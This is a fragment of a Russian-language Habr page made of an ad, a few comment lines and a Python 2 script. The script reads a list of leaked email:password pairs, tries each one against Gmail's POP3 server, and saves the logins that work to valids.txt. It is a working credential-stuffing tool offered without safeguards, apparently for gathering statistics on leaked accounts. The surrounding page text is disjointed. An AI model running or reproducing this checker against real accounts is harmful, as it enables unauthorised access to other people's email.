Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
Те, кого действительно заботит безопасность свой информации, не поступают так
Я учитывал только статистику по пользователям GMail, Yahoo и Hotmail, т.к. написание скриптов для проверки каждого нового специфического mail-сервиса отняло-бы пол жизни.
#!/usr/bin/env python
import sys, poplib
if len(sys.argv) != 2:
printHelp()
exit(1)
SAVEFILE = 'valids.txt'
HOST = 'pop.gmail.com'
PORT = 995
currline = 0
valid = []
maillist = sys.argv[1]
try:
handle = open(maillist)
except:
exit(1)
for line in handle:
currline += 1
try:
email = line.split(':')[0]
password = line.split(':')[1].replace('\n', '')
except:
exit(1)
try:
pop = poplib.POP3_SSL(HOST, PORT)
pop.user(email)
pop.pass_(password)
valid.append(email + ':' + password)
print '[+] Checking: %s <%s> -> Valid!' % (email, password)
pop.quit()
except:
print '[+] Checking: %s <%s> -> Invalid!' % (email, password)
pass
handle.close()
print '\n[+] Total Valid: %s' % len(valid)
if len(valid) > 0:
save = open(SAVEFILE, 'a')
for email in valid:
save.write(email + '\n')
save.close()
print '[+] The valid accounts are saved in "%s".' % SAVEFILE
бросаться словами вы научились, а отвечать, видать не особо.
Как «неизвестные хакеры» взламывают по пол интернета за раз